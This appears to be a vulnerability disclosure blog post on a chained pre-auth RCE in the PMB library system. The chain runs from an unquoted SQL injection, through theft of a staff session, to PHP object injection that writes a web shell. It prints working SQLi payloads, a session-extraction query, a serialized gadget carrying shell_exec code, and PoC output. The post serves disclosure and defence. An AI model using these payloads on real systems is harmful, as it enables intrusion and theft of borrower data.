Three keys, one door: a pre-auth RCE chain in PMB (CVE-2026-95232 & CVE-2026-95233)

Nov 25, 2026·
AtakorLAB Team
AtakorLAB Team
· 12 min read

The shape of it

PMB (PhpMyBibli) is an open source library management system. Libraries, schools and universities run it to manage their catalogue, their loans and their borrowers, and the public side of it, the OPAC, sits on the internet by design so readers can search the shelves from home.

I found this on version 8.0.1.40. When I reported it, the vendor pointed me to the other maintained branch, and the full chain works the same on its latest release at the time, 8.1.0.17 (that is the run in the video above). It comes down to three keys, and none of them opens the door on its own:

LinkWhat it isAuth neededID
ASQL injection in the OPAC document viewer (idautorite)noneCVE-2026-95232
BStaff sessions live in a DB table, and the session check never compares the IPn/apart of the chain
Cunserialize() on POST data in the borrower mailing feature, plus a bundled Guzzle gadgetstaff sessionCVE-2026-95233

None of these is remote code execution by itself. A read-only injection, a session store with a weak check, and a deserialization sink that sits behind a login. The exploit is in how they fit together: the attacker sends no credentials, A reads a live staff session straight out of the database, B lets us replay it because nothing ties it to the original client, and the now authenticated request reaches C, where a Guzzle class already shipped with PMB turns our bytes into a PHP file under the web root. That is code execution as www-data.

 A · unauth SQLi
     visionneuse.php, idautorite → SQL, no cookie
        │
        │  reads {SESSID, login} from the sessions table
        ▼
 B · session theft
     replay both cookies, no IP binding
        │
        │  now authenticated as a staff user
        ▼
 C · object injection
     circ.php mailing → unserialize() → Guzzle gadget
        │
        │  writes shell.php under the web root
        ▼
     exec as www-data

Before anything else, the honest caveat, because I don’t want this oversold: this RCE is unauthenticated but opportunistic. Stage B can only steal a session if a staff member is logged in (inside PMB’s 2 hour reactivation window). Against an idle server the injection still gives you unauthenticated data theft, but there is no session to hijack at that moment. So it is not an “any time, against an idle box” pre-auth RCE. In practice a library’s back office is staffed during opening hours, so the window is most of the working day.

And the usual line: everything below ran against a disposable lab instance I was authorised to break. Don’t point this at libraries that aren’t yours.


Part A: finding the unauthenticated SQL injection

The goal of the first pass was simple: find the part of the app a stranger can reach with no session at all, and somewhere inside it where request data reaches SQL without a working defence.

Mapping what skips the login

PMB gates its pages by setting $base_auth before including init.inc.php, which then calls checkUser(). Two things bypass that: files that set $base_nocheck = 1, and the whole public opac_css/ tree. One grep draws the map. Note the -a: PMB’s source is ISO-8859, and plain grep decides those files are binary and quietly skips them.

grep -arln '\$base_nocheck[[:space:]]*=[[:space:]]*1' --include='*.php' .
# 38 hits in the staff tree (plenty are CLI-guarded false positives)
# plus 49 entry points under opac_css/, unauthenticated by design

The OPAC tree is the richer ground. It is internet facing everywhere, and the vendor’s own recent security fixes cluster there. The document viewer stood out: it builds a driver object from request variables and immediately runs queries with them.

Following idautorite

PMB emulates register_globals: every request key becomes a PHP global and goes through addslashes() on the way in (includes/global_vars.inc.php). That is the app’s blanket SQL defence. Following idautorite into the viewer’s mode switch lands here:

// opac_css/visionneuse/api/pmb/pmb.class.php:124  (mode=authperso_see)
$requete_noti = "SELECT notice_id FROM notices_authperso, notices " . $acces_j . " " . $statut_j .
    " where notice_authperso_authority_num= " . $this->params["idautorite"] .
    " and notice_authperso_notice_num = notice_id " . $statut_r;

// ... executed unconditionally from the constructor at :341
pmb_mysql_query($requete_noti);

Why the global addslashes() does nothing here

The value sits in a bare numeric position, with no quotes around it. addslashes() escapes ', ", \ and NUL, which only helps inside a quoted string literal. Here you never need a quote to break out: 1 UNION SELECT ... is already valid SQL.

The one thing that would have saved it is an integer cast, and PMB does have one: a small allow-list of parameters that get coerced to int. idautorite is not on it.

GET ?idautorite=1 UNION SELECT SLEEP(5)…
        │
        ▼
global_vars.inc.php   addslashes()   ✓ runs (escapes ' " \, none present)
                      int allow-list ✗ idautorite not listed
        │
        ▼
pmb.class.php:124     "…authority_num= " . $idautorite      ← unquoted
        │
        ▼
pmb_mysql_query() at :341

The defence runs, it is just inert in this position.

Confirming it, with the right oracle

Errors are hidden, and every outcome renders the same 10,784 byte page, so diffing responses is useless. Timing is the only oracle. The first payload taught me something worth writing down:

False negative trap. 1 AND (SELECT SLEEP(5)) gave no delay. In a WHERE clause, SLEEP() runs once per row scanned, and on an empty catalogue that is zero rows. 1 UNION SELECT SLEEP(5) forces exactly one evaluation whatever the data. On a sparse database, that is the form you want.

A delay alone could be coincidence, so I wanted proof I actually controlled the SQL structure. The column count oracle does that: a UNION only runs if the appended SELECT has exactly as many columns as the outer query. The outer query differs per viewer mode, and the counts match the source.

# mode=authperso_see → outer query has 1 column
GET …&idautorite=1 UNION SELECT SLEEP(4)       -- 4.08s  delay
GET …&idautorite=1 UNION SELECT SLEEP(4),2     -- 0.05s  rejected

# mode=categ_see → outer query has 3 columns
GET …&idautorite=1 UNION SELECT SLEEP(4),2,3   -- 4.05s  delay
GET …&idautorite=1 UNION SELECT SLEEP(4)       -- 0.05s  rejected

Wrong count, statement rejected, no delay. Right count, and the delay tracks the argument (2s, 5s, 8s all verified). That is structural control, not luck.

Turning the oracle into a reader

From there it is classic blind extraction: a length probe, then a binary search per byte on ASCII(SUBSTRING(...)). That reads anything the database user can see, with no cookie and no credentials:

==> database() = 'pmb'
==> @@version  = '10.11.14-MariaDB-0ubuntu0.24.04.1'

On its own that is already a critical, unauthenticated data disclosure: borrower records, staff accounts, everything in the catalogue database. But one table in particular is much more useful than the rest. We’ll come back to it after the second bug.


Part C: finding the deserialization gadget

A read primitive is not code execution. For that I needed the authenticated half: somewhere that calls unserialize() on bytes I control, and a class already loaded in the codebase whose destruction does something useful.

The sink

The borrower mailing feature rebuilds a list of attachments from a POST field. There is no class allow-list, so this is textbook PHP object injection:

// classes/mailing_empr.class.php:188
// reached via circ.php?categ=empr_mailing&action=send
} elseif (!empty($count_files)) {
    $this->files = unserialize(urldecode($files_post));   // attacker-controlled bytes
}

The gadget

unserialize() only builds objects and calls their magic methods (__wakeup, __destruct). What you want is an existing class whose destructor does a filesystem write you can steer. PMB bundles Guzzle, and GuzzleHttp\Cookie\FileCookieJar is exactly that: when it is destroyed, it saves its cookies to the filename it holds.

unserialize()
  → FileCookieJar              constructor NOT called, private props set directly
  → __destruct()               → save($this->filename)
  → foreach cookie
        shouldPersist()        Expires=1 and Discard=false → kept
  → Utils::jsonEncode($json, 0)
                               options=0, so no JSON_HEX_TAG: "<?php" survives intact
  → file_put_contents($this->filename, …)

I re-verified the chain against the exact Guzzle version PMB ships (7.12.3). The two things we need to control, the target filename and the cookie value that carries the PHP, are plain object properties, set at deserialization time.

Building the payload by hand

You don’t need a PHP interpreter to build this. The serialize format is simple, and writing it by hand makes two subtleties explicit. Private properties are stored under a NUL-mangled key, "\0<Class>\0<prop>", and unserialize() fills them in without ever running the constructor. And the shouldPersist() gate is satisfied by picking Expires = 1 (truthy) and Discard = false.

# private property → name-mangled serialized key
def php_private(cls, prop):
    return php_str("\x00" + cls + "\x00" + prop)

# the SetCookie that carries our PHP in its Value
data = php_array([
    (php_str("Value"),   php_str("<?php echo shell_exec($_GET[0]); ?>")),
    (php_str("Expires"), php_int(1)),       # truthy: shouldPersist gate #1
    (php_str("Discard"), php_bool(False)),  # falsy:  shouldPersist gate #2
    # … Name, Domain, Path, Max-Age, Secure, HttpOnly …
])

Getting the bytes past addslashes() intact

Funny twist: the same register_globals emulation that failed to stop the SQL injection now works against us. It runs addslashes() over the serialized blob and mangles the NUL bytes and quotes in it, which breaks the property names and string lengths.

The fix is to percent-encode every byte before sending. The encoded string is nothing but % and hex digits, so addslashes() finds nothing to escape, and the sink’s own urldecode() restores the exact gadget.

raw gadget bytes     (NULs, quotes)
   → percent-encode everything    "%4F%3A%33…" only % and hex
   → server addslashes()          no-op, nothing to escape
   → sink urldecode()             exact bytes restored
   → unserialize()

I checked this by round-tripping the 590 byte gadget through the full transform: what reaches unserialize() is byte for byte what left the exploit.


The bridge (B): a session stolen by the injection

C needs a staff session. Instead of phishing one, we read one, because PMB keeps active sessions in a database table, and A reads database tables.

Here is what checkUser() actually checks:

cookies: PhpMyBibli-SESSID, PhpMyBibli-LOGIN
   → WHERE SESSID = ? AND login = ?
   → session still fresh (2h / 24h)
   → user has the required rights bit
   → authenticated as that staff user

$ip = $_SERVER['REMOTE_ADDR'];   // read at line 70 … and never compared

Authentication comes down to “does this {SESSID, login} pair exist, and is it fresh.” Both are columns A can read. There is an IP column, it gets loaded, and nothing ever looks at it.

I scoped the extraction in SQL so it returns a session that is both still fresh and privileged enough for the mailing route (the circulation rights bit). That way the first hijack is a useful one:

SELECT s.SESSID, s.login
FROM sessions s
JOIN users u ON u.username = s.login
WHERE (u.rights & 1)                         -- CIRCULATION_AUTH
  AND (s.LastOn + 7200) > UNIX_TIMESTAMP()   -- still inside the 2h window
LIMIT 1;

Run through the same byte-at-a-time oracle from Part A, that comes back with a live SESSID and login. Replayed as the PhpMyBibli-SESSID and PhpMyBibli-LOGIN cookies, they land on the admin console. The authenticated page is visibly bigger than the login page (about 200 KB against 186 KB), which also became my check for “this session has expired” later on.


Detonation, and the two things that blocked it

With a session in hand, the mailing route reaches the unserialize() sink. The first live attempts came back HTTP 500 and wrote nothing. The vulnerability was fine. Two mechanical details were not.

1. Send both cookies

The first PoC sent only SESSID and silently got the login page back. The session row is keyed on both fields, so both cookies have to be replayed. Obvious in hindsight, invisible if you’re not watching the response size.

2. The real blocker: a relative path

The gadget was writing to temp/shell.php, a relative path. Under Apache mod_php the working directory of the request is not the document root, so file_put_contents() resolved it somewhere unwritable, threw inside the destructor, and the exception was swallowed at shutdown. No file, no error, nothing.

BEFORE  temp/shell.php              CWD ≠ docroot → write fails → destructor throws → swallowed
AFTER   /var/www/pmb/temp/…         resolves exactly, writable, web served → GET shell.php?0=id

An absolute path fixed it. I never doubted the bug itself: a standalone reproduction on the host confirmed the destructor writes correctly. Delivery just needed an absolute path, which means the attacker has to know or guess the docroot. /var/www/pmb and /var/www/html are cheap guesses.

Two red herrings, logged

  • The HTTP 500 is expected. It is an unrelated fatal error (SetCookie is not ArrayAccess, so the mailing code’s cleanup loop throws) that fires after send(). The destructor still runs at shutdown and still writes the file.
  • Opcache (revalidate_freq=2s) made my edit-then-fire debugging race stale bytecode. It cost me time while tracing, but it has nothing to do with the exploit.

Result

$ ./preauth_rce_poc.py --base-url http://TARGET --docroot /var/www/pmb --command 'id; hostname'

[A] Unauthenticated SQL injection … database() = 'pmb'
[B] Reading a staff session …      SESSID=7162182868  login=admin
[C] Hijacking + firing the gadget … HTTP 500 (expected)
    GET /temp/_pmb_poc.php?0='id; hostname' → HTTP 200
    ----- command output -----
    PMBRCE: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    pmb

[*] RCE CONFIRMED - command executed as the web-server user.

No cookie and no password supplied. All the session material came from the injection. The dropped file was removed afterwards.


Cutting the chain

LinkFixEffect
ACast idautorite to int (add it to GLOBAL_VARS_INT_TYPE, or intval() at the sink)Kills the whole unauthenticated chain, since B’s session theft rides on A
BBind sessions to more than a {SESSID, login} pair: actually check the IP (the column exists), add a server-side secretA leaked pair no longer authenticates on its own
CStop calling unserialize() on request data; use a structured decode with a class allow-listRemoves the object injection sink entirely

If you only do one thing, do the integer cast. It is a one-line change and the highest leverage fix here: it breaks A, and without A, B has no way to steal a session, so the unauthenticated path collapses. Ship it first, then deal with the session handling and the deserialization properly.

If you run PMB

  • Update to a release that includes the fixes for CVE-2026-95232 and CVE-2026-95233.
  • If you can’t update right away, consider restricting access to opac_css/visionneuse/ at the reverse proxy, and look through your web root (temp/ in particular) for PHP files you didn’t put there.
  • Staff sessions are bearer tokens in a table. Treat a database leak as a session leak: invalidate sessions after any suspected compromise.

Disclosure timeline

DateEvent
2026-08-26First contact with the vendor
2026-08-27Vendor replies and opens a contact for the report
2026-08-30Full technical details and the PoC sent to the vendor
2026-09-09Vendor confirms the fix: “The correction has been done yesterday, it will be delivered in the next revision available next Monday.”
2026-10-05CVE-2026-95232 and CVE-2026-95233 assigned
2026-11-25Public disclosure (this post)

I thank the PMB team for their quick response and professional handling of this disclosure.


Found on PMB 8.0.1.40 and confirmed on 8.1.0.17, MariaDB 10.11.14, Apache mod_php with PHP 8.3.

AtakorLAB Team
Authors
AtakorLAB Team
Offensive Security & Vulnerability Research
The AtakorLAB security team publishes vulnerability research, CVE write-ups and practical security guidance.